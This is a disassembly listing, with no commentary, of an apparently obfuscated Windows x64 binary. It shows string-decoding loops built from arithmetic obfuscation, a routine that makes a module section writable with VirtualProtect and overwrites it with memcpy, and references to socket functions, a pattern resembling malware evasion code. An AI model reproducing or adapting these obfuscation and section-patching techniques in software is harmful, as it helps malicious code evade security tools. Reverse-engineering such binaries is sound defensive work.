jmp 0x1401f6185
movabs rdx, 0xd6f57cbe636d2148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f6bd1
movabs rcx, 0x66af8466c9dc97be
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x32
jmp 0x1401f6bf5
movabs rcx, 0xf6698c0f304c0e34
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x1401f6b8c
movabs rdx, 0x862393b796bb84aa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401f6c23
movabs rdx, 0x15dd9b5ffd2afb20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401f676e
movabs rcx, 0xa597a308639a7196
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x1401f6c50
movabs rdx, 0x3551aab0ca09e80c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x54
jmp 0x1401f6adc
movabs rdx, 0xc50bb25930795e82
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x1401f6703
movabs rdx, 0x54c5ba0196e8d4f8
mov ecx, Ordinal_30
jmp 0x1401f66dc
movabs rcx, 0xbc16cd2696ff7d1f
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x27
mov byte [rbp + r9 + 0x360], dil
jmp 0x1401f6c8b
movabs rdx, 0x4bd0d4cefd6ef395
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x13
jmp 0x1401f6694
movabs rdx, 0xdb8adc7763de6a0b
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x4d
jmp 0x1401f665b
movabs rdx, 0x6b44e41fca4de081
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x79
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x7a
je 0x1401f6ab5
lea rax, [r10 + 9]
cmp rbx, rax
jbe 0x1401f68e8
movabs rdx, 0xe056166fcbb862f1
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x69
add dil, dl
cmp rbx, 0x5a
jae 0x1401f6a87
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x1401f69f9
movabs rdx, 0xfb34c6079826071a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov eax, 1
cmp r10, rax
jb 0x1401f65b1
movabs rcx, 0x5df0797397cb667e
add rcx, r9
mov al, cl
and al, r8b
mov edx, 7
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401f6bd1
movabs rdx, 0xa1381d8eca91d8f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f6c7c
movabs rdx, 0x30f2253731014f6c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401f69c0
movabs rcx, 0xc0ac2cdf9770c5e2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2e
jmp 0x1401f6adf
movabs rcx, 0x50663487fde03c58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x1401f6c50
movabs rdx, 0xe0203c30644fb2ce
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f6c4d
movabs rdx, 0x6fda43d8cabf2944
mov ecx, reloc.WS2_32.dll_select
jmp 0x1401f64fa
movabs rcx, 0xff944b81312e9fba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x16
jmp 0x1401f6b8c
movabs rcx, 0x8f4e5329979e1630
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x50
jmp 0x1401f6bf5
movabs rdx, 0x1f085ad1fe0d8ca6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f6bd1
lea rax, [r10 + 9]
cmp rbx, rax
jae 0x1401f682b
lea rcx, [r9 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x63
jmp 0x1401f6622
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f6858
movabs rcx, 0x35bd5f2f98db4852
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3e
jmp 0x1401f6c7c
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f6888
movabs rdx, 0x16494fdecbfc5b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f6adf
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f68b4
movabs rcx, 0x671b38e598adf804
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x1401f6c26
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401f6622
movabs rdx, 0xd761313d323e818e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f6b8c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f6914
movabs rcx, 0x509c0ec76548ec7b
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5d
jmp 0x1401f6bd1
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401f6941
movabs rcx, 0x11b3f025cb8b12a3
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x75
jmp 0x1401f6c4d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401f696d
movabs rcx, 0x81f9e87d651b9c2d
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3b
jmp 0x1401f6c50
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f6999
movabs rdx, 0xf23fe0d4feac25b7
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 1
jmp 0x1401f6adc
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f69c8
movabs rdx, 0x6285d92c983caf41
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x39
add dil, dl
jmp 0x1401f6b11
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401f665e
movabs rcx, 0xd2cbd18431cd38cb
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x73
jmp 0x1401f6c7c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f6a26
movabs rcx, 0x6b7abe5f31b690a4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x1401f6c7c
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f6a56
movabs rdx, 0xbc4ca765fe682d42
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f6c50
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401f6697
movabs rcx, 0xd1e906ccb19c9e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x20
jmp 0x1401f6b8c
movabs rdx, 0xce3671cb315bf008
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov dil, byte [rbp + r9 + 0x360]
sub dil, al
sub dil, 0x38
add dil, dl
add dil, r8b
jmp 0x1401f6c26
movabs rdx, 0x3e7c6a22caec7992
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x360]
add dil, r8b
add dil, dl
movabs rdx, 0xf69f664e97b4be57
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x61
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x360], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0xaec2627a647d031c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x360], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401f6c7c
movabs rcx, 0x4c3c894dcc4053db
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 3
jmp 0x1401f6c4d
movabs rcx, 0x6bb0989e991f40c7
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x71
mov eax, 1
jmp 0x1401f6bfd
movabs rcx, 0x8b24a7ef65fe2db3
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x1b
jmp 0x1401f6bd1
movabs rcx, 0xaa98b74032dd1a9f
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x59
movabs rcx, 0x1613759f6493ab43
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x2b
add cl, r8b
mov byte [rbp + r9 + 0x360], cl
mov eax, 1
add r10, rax
sub r9, rax
jmp 0x1401f6c90
movabs rdx, 0x59c6ce39662b7e01
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 7
add dil, dl
movabs rcx, 0x86596df6fe2434cd
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, 0x65
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x360], cl
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f6c8b
movabs rcx, 0x2868f4836658ce4f
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x29
movzx eax, byte [rbp + r9 + 0x360]
add rax, r10
add r9, rax
mov eax, 1
add r9, rax
jmp 0x1401f6172
movabs rcx, 0xaa2d02c1640bba59
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6f
jmp 0x1401f616d
movabs rcx, 0x39e70a69ca7b30cf
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x57
jmp 0x1401f615d
lea rcx, [rbp + 0x14e37bc]
jmp 0x1401f6cf9
lea rcx, [rbp + 0x1567c81]
jmp 0x1401f6cf9
lea rcx, [rbp + 0x360]
mov rax, rsi
sub rcx, rsi
mov r9d, 1
movzx r8d, byte [rax]
movzx edx, byte [rax + rcx]
sub r8d, edx
jne 0x1401f6d19
add rax, r9
test edx, edx
jne 0x1401f6d05
xor r13d, r13d
test r8d, r8d
jne 0x1401f6d77
mov dword [rbp + 0x11a4], r13d
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 0xc]
mov rbx, qword [rbp - 0x50]
add rcx, rbx
lea r9, [rbp + 0x11a4]
lea r8d, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [rsi + 0xc]
mov r8d, dword [rsi + 8]
lea rdx, [r12 + rax]
lea rcx, [rbx + rax]
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [rsi + 8]
mov ecx, dword [rsi + 0xc]
add rcx, rbx
lea r9, [rbp + 0x11a4]
mov r8d, dword [rbp + 0x11a4]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc r15w
cmp r15w, word [r14 + 6]
jb 0x1401f6102
mov r13, qword [rbp - 0x58]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [rbp + 0x30], 0xfe
mov byte [rbp + Ordinal_50], 0x31
mov byte [rbp + 0x32], Ordinal_200
mov byte [rbp + 0x33], 0x33
mov byte [rbp + 0x34], 0x34
mov byte [rbp + 0x35], 0xa9
xor eax, eax
mov qword [rbp + 0x36], rax
mov word [rbp + 0x3e], ax
movabs rsi, 0x1e3d3b18808e33ba
movabs r15, 0xe644ef5058e05440
movabs r12, 0xf45b168c546eb670
movabs r13, 0xe43402afcf6ee4e6
movabs r14, 0x79553d89c8c4782e
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r9, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x10
jae 0x1401f7717
movzx r8d, byte [rbp + r10 + 0x30]
mov r11, r8
cmp rbx, r10
ja 0x1401f770e
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401f6e5f
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x16
jmp 0x1401f6e99
je 0x1401f7690
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401f760c
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f75d4
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401f75a9
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401f7558
cmp r9, r10
ja 0x1401f7705
lea rax, [r9 + 0x42]
cmp rbx, rax
jae 0x1401f6ed0
movabs rcx, 0x7b05d9028baa3e42
add rcx, r10
mov al, cl
and al, r8b
mov edi, Ordinal_26
sub dil, al
add dil, dil
add dil, cl
add dil, r8b
jmp 0x1401f6f04
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401f7547
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f7526
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401f74ff
lea rax, [r9 + 6]
cmp rbx, rax
je 0x1401f74d8
lea rax, [rbx + r9]
cmp rax, r10
jbe 0x1401f717d
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401f7157
lea rax, [r9 + 0x42]
cmp rbx, rax
je 0x1401f7130
lea rax, [r9 + 0x20]
cmp rbx, rax
je 0x1401f7109
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401f70e6
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f70bf
lea rbx, [r9 + 0x400]
lea r9, [rbx + 5]
lea rax, [r9 + 0x80]
cmp rbx, rax
jb 0x1401f76eb
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401f76c8
lea rax, [r9 + 0x10]
cmp rbx, rax
jb 0x1401f6ff1
lea rax, [r9 + 8]
cmp rbx, rax
jb 0x1401f70aa
lea rbx, [r9 + 0x3e8]
lea r9, [rbx + 4]
lea rax, [r9 + 0x64]
cmp rbx, rax
ja 0x1401f708f
lea rax, [r9 + 0x61]
cmp rbx, rax
ja 0x1401f706c
lea rax, [r9 + 0x3e8]
cmp rbx, rax
ja 0x1401f7049
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1401f703b
lea rax, [r9 + 0xa]
cmp rbx, rax
ja 0x1401f7018
lea rax, [r9 + 6]
cmp rbx, rax
ja 0x1401f6f11
lea rbx, [r9 + 1]
lea r9, [rbx + 0x28]
jmp 0x1401f6f11
movabs rdx, 0xf24a29ebcafd4716
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f6e30
movabs rcx, 0xd82ec8145d51f210
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x70
jmp 0x1401f757a
lea rdx, [r10 + r15]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401f75e6
movabs rcx, 0x6d5002ee56a78558
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x1401f7631
movabs rcx, 0x30d58cbd558b1de4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3c
jmp 0x1401f765e
lea rcx, [r10 + r12]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x1401f76af
lea rcx, [r10 + r13]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4a
jmp 0x1401f71d1
movabs rdx, 0xe223160f45fd758c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f76af
movabs rcx, 0xf0393d4b418bd7bc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x1401f75f6
movabs rdx, 0x774450e93f5308d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f75c7
movabs rdx, 0x3ac9dab83e36a160
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f759f
movabs rdx, 0xfe4f64873d1a39ec
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x74
add dil, dl
jmp 0x1401f757a
lea rcx, [r9 + 2]
cmp rbx, rcx
jae 0x1401f7239
lea rcx, [r10 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x16
add cl, r8b
lea rax, [r9 + rbx]
cmp rax, 4
je 0x1401f74b0
lea rax, [r9 + 0x5a]
cmp rbx, rax
jbe 0x1401f72e5
movabs rcx, 0x349714d6a1e25352
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3e
add cl, r8b
cmp rbx, 0x28
jae 0x1401f745d
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x1401f73ba
movabs rcx, 0xaf9cedd92d8c9194
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xc
add cl, r8b
cmp r9, 0x20
jb 0x1401f7450
movabs rcx, 0xc658bc338a89c1c
add rcx, r10
mov al, cl
and al, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea edi, [rdx + rdx]
jmp 0x1401f757a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f7269
movabs rdx, 0xf60bb20517547c84
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f76af
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f7299
movabs rdx, 0x6f009e67198d4b6c
mov ecx, 6
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f7631
cmp rbx, rcx
jne 0x1401f72c1
movabs rcx, 0xe7f58ac91bc61a54
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x1401f75f6
mov cl, dil
lea rax, [r9 + 9]
cmp rbx, rax
jne 0x1401f719d
movabs rdx, 0xd9df638d2037b824
mov ecx, 2
jmp 0x1401f7567
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f7311
movabs rcx, 0x71118b07a2febac6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x1401f757a
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f732e
movabs rdx, 0xea067769a53789ae
mov ecx, Ordinal_33
jmp 0x1401f7118
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401f735a
movabs rcx, 0x9f75d9fca88cc00a
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x1401f75f9
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401f7386
movabs rcx, 0xdbf0502da9a9277e
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x72
jmp 0x1401f7631
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f71d4
movabs rdx, 0x186ac65eaac58ef2
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f765e
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f73e6
movabs rcx, 0xec17640a2ea8f908
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x1401f76af
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f7412
movabs rcx, 0x2891da3b2fc5607c
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x64
jmp 0x1401f765e
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f742f
movabs rdx, 0x650c506c30e1c7f0
mov ecx, Ordinal_60
jmp 0x1401f7281
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401f7207
movabs rdx, 0xcfeb1592378c34a8
mov ecx, 0x34
jmp 0x1401f7567
mov byte [rbp + r10 + 0x30], cl
mov dil, cl
jmp 0x1401f76bb
movabs rcx, 0x48e001f439c50390
add rcx, r10
mov al, cl
and al, r8b
mov edx, 8
sub dl, al
add dl, dl
add dl, byte [rbp + r10 + 0x30]
add dl, cl
add dl, r8b
movabs rcx, 0x671d3d0cba53374a
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 6
add r8b, dl
add r8b, cl
mov byte [rbp + r10 + 0x30], r8b
mov dil, dl
jmp 0x1401f75f6
movabs rcx, 0x855a78253ae16b04
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x30]
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x1401f7631
movabs rdx, 0xe5e49e289254aafa
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401f75f9
movabs rdx, 0xa96a27f791384386
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f75f6
movabs rcx, 0xf3fac5648de30d2a
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x26
jmp 0x1401f759f
movabs rdx, 0xb7804f338cc6a5b6
mov ecx, 3
jmp 0x1401f7567
movabs rdx, 0x3e8b62d18a8dd6ce
mov ecx, Ordinal_50
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
movabs rdx, 0x2aa2c6dbb936cfd6
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r10 + 0x30], cl
mov eax, 1
add r9, rax
jmp 0x1401f75cc
movabs rcx, 0xc596766f885507e6
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4a
mov eax, 1
sub r10, rax
jmp 0x1401f76c0
movabs rdx, 0x4ca18a0d861c38fe
add rdx, r10
mov ecx, 7
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r9
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401f76bb
mov r8, r11
movabs rdx, 0xd3ac9dab83e36a16
add rdx, r10
mov al, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movabs rcx, 0xa397b33dbb6f9ebe
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x32
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x30], al
inc r9
add rax, r9
sub r10, rax
movabs rcx, 0xc1d4ee563bfdd278
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x48
add r8b, cl
mov byte [rbp + r10 + 0x30], r8b
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
jmp 0x1401f76af
movabs rcx, 0x5ab7b14981aa9b2e
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea edi, [rcx + r11]
sub dil, 0x42
movzx eax, byte [rbp + r10 + 0x30]
add rax, r9
add r10, rax
mov eax, 1
add r10, rax
jmp 0x1401f6e20
movabs rcx, 0xb5cfb3bac9e0dfa2
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6e
jmp 0x1401f6e1b
lea rcx, [r10 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x1401f6e0b
lea rcx, [rbp + 0x14ac128]
jmp 0x1401f771b
lea rcx, [rbp + 0x118f4e2]
jmp 0x1401f771b
lea rcx, [rbp + 0x30]
mov edx, 1
call fcn.14025f760
mov byte [rbp + 0x380], 0xfe
mov byte [rbp + 0x381], 0xb1
mov byte [rbp + 0x382], 0x87
mov byte [rbp + 0x383], 0xb3
mov byte [rbp + 0x384], 0xb4
mov byte [rbp + 0x385], reloc.WLDAP32.dll_Ordinal_41
xor eax, eax
mov qword [rbp + 0x386], rax
mov dword [rbp + 0x38e], eax
movabs rsi, 0x852f948bcec8ed5a
movabs r15, 0x5cda52a81649e85c
movabs r12, 0x527b299078b80da8
movabs r13, 0x3dbcd7613d945840
movabs r14, 0x2759038ad0d1750e
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x12
jae 0x1401f8329
movzx r8d, byte [rbp + r9 + 0x380]
mov rdx, r8
cmp rdi, r9
ja 0x1401f8320
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f77ea
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
sub bl, 0x76
jmp 0x1401f7817
je 0x1401f82a4
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f821d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f81be
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401f8167
cmp r10, r9
ja 0x1401f8317
lea rax, [r10 + 0x80]
cmp rdi, rax
jae 0x1401f784f
movabs rdx, 0xece72f77f67b7862
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f789d
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f8156
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f8132
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f810f
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f80ec
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f80c9
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401f80a3
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x1401f7e1b
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x1401f7e07
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401f7df3
lea rax, [r10 + 9]
cmp rdi, rax
je 0x1401f7ddf
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401f7dbe
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401f7d9c
lea rcx, [r10 + 5]
cmp rdi, rcx
je 0x1401f7d79
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f7d57
